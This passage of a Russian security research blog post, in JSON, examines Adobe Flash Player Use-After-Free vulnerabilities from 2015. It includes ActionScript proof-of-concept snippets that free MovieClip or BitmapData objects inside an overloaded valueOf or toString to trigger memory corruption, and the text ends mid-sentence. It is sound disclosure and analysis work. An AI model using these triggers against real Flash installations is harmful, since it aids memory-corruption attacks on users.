{"id":276585,"date":"2016-03-21T11:56:02","date_gmt":"2016-03-21T08:56:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=276585"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=276585","title":{"rendered":"\u0420\u0435\u0448\u0435\u0442\u043e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Adobe Flash"},"content":{"rendered":"<p>       <img decoding=\"async\" align=\"left\" src=\"https:\/\/habrastorage.org\/files\/f37\/c2c\/2ab\/f37c2c2aba18403fb4e7b33cf6ce6729.png\"\/> \u041f\u043e\u043a\u0430 \u0435\u0449\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Flash Player \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Adobe \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u0432\u043e\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0420\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e Flash, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u0432 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445. 2015 \u0433\u043e\u0434 \u0432\u044b\u0434\u0430\u043b\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0443\u0440\u043e\u0436\u0430\u0439\u043d\u044b\u043c \u043d\u0430 \u0442\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0411\u043e\u043b\u044c\u0448\u0430\u044f \u0434\u043e\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u044b\u043b\u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0441 \u043f\u0430\u043c\u044f\u0442\u044c\u044e: \u0431\u044b\u043b\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c \u0432 \u043a\u0443\u0447\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Flash.<\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043f\u043e\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c Adobe Flash \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0435\u0433\u043e \u00ab\u0434\u044b\u0440\u044b \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb \u2014 \u0445\u0440\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0438 \u0440\u0435\u0448\u0438\u0442\u044c \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435 \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u0441 \u043d\u0443\u043b\u044f, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u0442\u0430\u0432\u044f\u0442 \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0443 \u043d\u0430 \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0443, \u0447\u0442\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0410 \u0435\u0449\u0435 \u043c\u044b \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043d\u0430\u043c\u0438 \u0438 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438!<br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<h4><b>\u041d\u0430\u0448\u0443\u043c\u0435\u0432\u0448\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<\/b><\/h4>\n<p>  \u0412 \u0444\u0435\u0432\u0440\u0430\u043b\u0435-\u043c\u0430\u0440\u0442\u0435 2015 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0441\u0445\u043e\u0436\u0438\u0435 Use-After-Free \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2015-0313 \u0438 CVE-2015-0311 \u0432 ActionScript-\u043a\u043b\u0430\u0441\u0441\u0435 ByteArray (\u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u043e \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e <a href=\"https:\/\/www.trustwave.com\/Resources\/SpiderLabs-Blog\/A-New-Zero-Day-of-Adobe-Flash-CVE-2015-0313-Exploited-in-the-Wild\/\">\u0437\u0434\u0435\u0441\u044c <\/a>\u0438 <a href=\"http:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/analyzing-cve-2015-0313-the-new-flash-player-zero-day\/\">\u0442\u0443\u0442<\/a>). \u041e\u0431\u044a\u0435\u043a\u0442 \u0442\u0438\u043f\u0430 ByteArray, \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 domainMemory \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u044b\u0441\u0442\u0440\u044b\u0445 \u0438 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0447\u0442\u0435\u043d\u0438\u044f-\u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c, \u043f\u0440\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0432\u043e\u0439 \u0431\u0443\u0444\u0435\u0440 \u043d\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u044f\u043b \u043e\u0431 \u044d\u0442\u043e\u043c domainMemory, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0439 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043d\u0435\u0433\u043e.<\/p>\n<p>  \u0412 CVE-2015-0313 \u043e\u0431\u044a\u0435\u043a\u0442 \u0443\u0434\u0430\u043b\u044f\u043b\u0441\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043f\u043e\u0442\u043e\u043a\u0435, \u0432 CVE-2015-0311 \u043e\u043d \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u043e \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u043b\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c zlib. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0445, \u043d\u0430\u0440\u0443\u0448\u0430\u044f \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043a\u043b\u0430\u0441\u0441\u043e\u0432. <\/p>\n<p>  \u0412 \u0438\u044e\u043b\u0435 2015 \u0433\u043e\u0434\u0430 \u043c\u043d\u043e\u0433\u043e \u0448\u0443\u043c\u0430 \u043d\u0430\u0434\u0435\u043b\u0430\u043b\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c <a href=\"https:\/\/habrahabr.ru\/company\/eset\/blog\/262061\/\">CVE-2015-5119<\/a>, <a href=\"https:\/\/www.fireeye.com\/blog\/threat-research\/2015\/07\/cve-2015-5122_-_seco.html\">CVE-2015-5122<\/a>, \u0443\u0442\u0435\u043a\u0448\u0438\u0435 \u0438\u0437 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 \u0438\u0442\u0430\u043b\u044c\u044f\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Hacking Team. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0431\u044b\u043b\u0438 ActionScript \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u044f \u044f\u0447\u0435\u0439\u043a\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 ByteArray \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u043d\u0434\u0435\u043a\u0441\u0443 (\u0432 CVE-2015-5119) \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u043e\u043b\u044f opaqueBackground \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 TextLine (\u0432 CVE-2015-5122). <\/p>\n<p>  \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u044f\u0445 \u2013 \u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435. \u0415\u0441\u043b\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u044b \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0443 ByteArray\/\u043f\u043e\u043b\u044e opaqueBackground \u043e\u0431\u044a\u0435\u043a\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0441 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u043c\u0435\u0442\u043e\u0434\u043e\u043c valueOf, \u043f\u0435\u0440\u0435\u0434 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u043d\u0435\u044f\u0432\u043d\u043e\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043a \u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0442\u0438\u043f\u0443, \u0441 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e valueOf. \u0415\u0441\u043b\u0438 \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 valueOf \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u043c \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0442\u044c \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u043e\u0431\u044a\u0435\u043a\u0442\u0430 ByteArray\/\u043e\u0431\u044a\u0435\u043a\u0442\u0430 TextLine, \u043f\u0430\u043c\u044f\u0442\u044c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043d\u0435\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f, \u0438 \u043f\u043e \u043d\u0435\u043c\u0443 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c \u0432 \u043a\u0443\u0447\u0435.<\/p>\n<p>  \u0412 \u0446\u0435\u043b\u043e\u043c, Use-After-Free \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e Flash \u2014 \u0442\u0430 \u0435\u0449\u0435 \u0433\u043e\u043b\u043e\u0432\u043d\u0430\u044f \u0431\u043e\u043b\u044c \u0434\u043b\u044f Adobe, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u043d\u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0447\u0430\u0441\u0442\u043e. <\/p>\n<h4><b>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TextField \u0438 MovieClip \u043e\u0442 Google Project Zero<\/b><\/h4>\n<p>  \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043d\u043e\u0433\u0434\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0446\u0435\u043b\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u044b \u043c\u0435\u0442\u043e\u0434\u043e\u0432 ActionScript \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 Google Project Zero \u043d\u0430\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043c\u0435\u0442\u043e\u0434\u0430\u0445 ActionScript 2 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 MovieClip \u0438 TextField \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043e\u0441\u0432\u043e\u0431\u043e\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0434\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b:<\/p>\n<p>  1. <a href=\"https:\/\/code.google.com\/p\/google-security-research\/issues\/detail?id=591&amp;can=1&amp;start=500\">CVE-2015-8412<\/a>: \u041e\u0431\u044a\u0435\u043a\u0442 mc \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u0438 \u043d\u0435\u044f\u0432\u043d\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 valueOf \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 duplicateMovieClip:<\/p>\n<pre><code>this.createEmptyMovieClip(&quot;mc&quot;, 1); mc.duplicateMovieClip( &quot;mc&quot;,{valueOf : func});  function func(){ \ttrace(&quot;in func&quot;); \tmc.removeMovieClip();         \/\/ Fix heap here \treturn 5; \t} <\/code><\/pre>\n<p>  2. <a href=\"https:\/\/code.google.com\/p\/google-security-research\/issues\/detail?id=558&amp;can=1&amp;start=400\">CVE-2015-8044<\/a>: \u041e\u0431\u044a\u0435\u043a\u0442 triangle_mc \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u0438 \u043d\u0435\u044f\u0432\u043d\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 valueOf \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 lineStyle: <\/p>\n<pre><code>this.createEmptyMovieClip(&quot;triangle_mc&quot;, this.getNextHighestDepth()); \tvar o = {toString: func}; \ttriangle_mc.lineStyle(5, 0xff00ff, 100, true, o, &quot;round&quot;, &quot;miter&quot;, 1);  \tfunction func(){ \t\ttriangle_mc.removeMovieClip(); \t\treturn &quot;none&quot;; \t} <\/code><\/pre>\n<p>  \u041f\u043e\u0445\u043e\u0436\u0430\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0441 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438 ActionScript 2 \u043a\u043b\u0430\u0441\u0441\u0430 TextField (CVE-2015-7652, CVE-2015-8046, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8427, CVE-2015-8428, CVE-2015-8429, CVE-2015-8430, \u0438 \u0442.\u0434.)<\/p>\n<p>  \u0412\u0438\u0434\u044f \u0442\u0430\u043a\u043e\u0435 \u0431\u0435\u0437\u043e\u0431\u0440\u0430\u0437\u0438\u0435, \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c, \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u0432\u0441\u0435 \u0442\u0430\u043a \u043f\u043b\u043e\u0445\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e Flash? \u0418\u2026 \u0434\u0430, \u0432\u0441\u0435 \u043f\u043b\u043e\u0445\u043e!<\/p>\n<h4><b>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 BitmapData<\/b><\/h4>\n<p>  \u041c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 ActionScript-\u043a\u043b\u0430\u0441\u0441\u0430\u0445 Flash. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u043d\u0430\u0431\u043e\u0440 \u043f\u043e\u0445\u043e\u0436\u0438\u0445 Use-After-Free \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0442\u0430\u043a\u0436\u0435 \u0432 ActionScript 2 \u043a\u043b\u0430\u0441\u0441\u0435 BitmapData. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 Flash \u0431\u044b\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044f 18.0.0.209. \u0427\u0430\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u043d\u0430\u0441) \u0431\u044b\u043b\u0430 \u043f\u043e\u0437\u0436\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \u0447\u0430\u0441\u0442\u044c \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0435\u0440\u0441\u0438\u0438 20.0.0.228.<\/p>\n<p>  \u0414\u043b\u044f \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 BitmapData \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0442\u043e\u0442 \u0436\u0435 \u0442\u0440\u044e\u043a \u0441 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u0430 valueOf \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430. \u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043d\u0435\u044f\u0432\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 \u043a\u043b\u0430\u0441\u0441\u0430 \u043a \u0442\u0438\u043f\u0443 Number. \u0422\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432.<\/p>\n<pre><code>import flash.geom.Point; import flash.geom.Rectangle; import flash.display.BitmapData;  class MyClass  {     static var  bitmap1:BitmapData,     bitmap2:BitmapData,     bitmap3:BitmapData;     public function MyClass() { }     static function vof()     {         trace(&quot;in valueOf..&quot;);         bitmap2.dispose();         return 1;     }     static function expl()     {         trace(&quot;in expl&quot;);         MyClass.prototype.valueOf = MyClass.vof; \t\t         var array:Array = new Array(256);         for(var i:Number= 0; i &lt; 256; i++) {             array[i] = 0xaaddddaa;         }         array[0xFF] = new MyClass();         var o = new MyClass();         var rect:Rectangle = new Rectangle(10, 11, 2, 2);         var pt:Point = new Point(12, 12);          bitmap1 = new BitmapData(100, 100, true, 0xaabbccdd);         bitmap2 = new BitmapData(100, 100, true, 0xaabbccdd);         bitmap3 = new BitmapData(100, 100, true, 0xaabbccdd); <\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u043a\u043b\u0430\u0441\u0441\u0430 BitmapData:<\/p>\n<pre><code>Bitmap2.hitTest(pt, 1, bitmap1, new Point(0, 0), o); <\/code><\/pre>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 BitmapData.hitTest \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u0442\u0438\u043f\u0430 MyClass (_loc3_[255]), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u044f\u0432\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u0438\u0434\u0443 \u043f\u0443\u0442\u0435\u043c \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 vof. \u0412\u043d\u0443\u0442\u0440\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 myBitmapData2 \u043f\u0435\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u043d\u0435\u0433\u043e. \u0412 \u043a\u0443\u0447\u0435, \u0433\u0434\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 BitmapData, \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043f\u0438\u043a\u0441\u0435\u043b\u044c\u043d\u044b\u0439 \u0431\u0443\u0444\u0435\u0440 (\u0442\u0430\u043a\u0436\u0435 \u0432 \u043a\u0443\u0447\u0435). <\/p>\n<p>  \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e 